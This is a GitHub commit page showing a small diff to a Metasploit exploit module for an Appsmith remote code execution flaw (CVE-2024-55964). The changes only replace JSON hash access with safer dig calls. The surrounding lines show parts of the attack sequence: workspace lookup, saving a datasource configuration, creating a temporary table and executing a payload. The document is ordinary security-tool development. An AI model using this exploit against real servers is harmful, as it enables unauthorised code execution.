Skip to content

Commit 7aabe06

Browse files
Apply suggestions from code review
Co-authored-by: msutovsky-r7 <[email protected]>
1 parent ec6f402 commit 7aabe06

File tree

1 file changed

+5
-5
lines changed

1 file changed

+5
-5
lines changed

modules/exploits/linux/http/appsmith_rce_cve_2024_55964.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -97,7 +97,7 @@ def exploit
9797
})
9898
fail_with(Failure::Unknown, 'Failed to access workspaces.') unless res&.code == 200
9999

100-
workspace_id = res.get_json_document&.dig('data')&.first&.dig('id')
100+
workspace_id = res.get_json_document&.dig('data',0,'id')
101101

102102
res = send_request_cgi({
103103
'method' => 'GET',
@@ -148,10 +148,10 @@ def exploit
148148
'ctype' => 'application/json',
149149
'data' => db_conf
150150
})
151-
fail_with(Failure::Unknown, 'Failed to save DB configuration.') unless res&.code == 201 && res.get_json_document['responseMeta']['success']
151+
fail_with(Failure::Unknown, 'Failed to save DB configuration.') unless res&.code == 201 && res.get_json_document&.dig('responseMeta','success')
152152
print_status('Successfully saved DB configuration.')
153153

154-
datasource_id = res.get_json_document['data']['id']
154+
datasource_id = res.get_json_document&.dig('data','id')
155155

156156
table_name = rand_text_alpha(4)
157157
res = send_request_cgi({
@@ -164,7 +164,7 @@ def exploit
164164
suggested: true
165165
}.to_json
166166
})
167-
fail_with(Failure::Unknown, 'Failed to create temporary table.') unless res&.code == 200 && res.get_json_document['responseMeta']['success']
167+
fail_with(Failure::Unknown, 'Failed to create temporary table.') unless res&.code == 200 && res.get_json_document&.dig('responseMeta','success')
168168

169169
res = send_request_cgi({
170170
'method' => 'POST',
@@ -176,7 +176,7 @@ def exploit
176176
suggested: true
177177
}.to_json
178178
})
179-
fail_with(Failure::Unknown, 'Failed to execute payload.') unless res&.code == 200 && res.get_json_document['responseMeta']['success']
179+
fail_with(Failure::Unknown, 'Failed to execute payload.') unless res&.code == 200 && res.get_json_document&.dig('responseMeta','success')
180180
end
181181

182182
end

0 commit comments

Comments
 (0)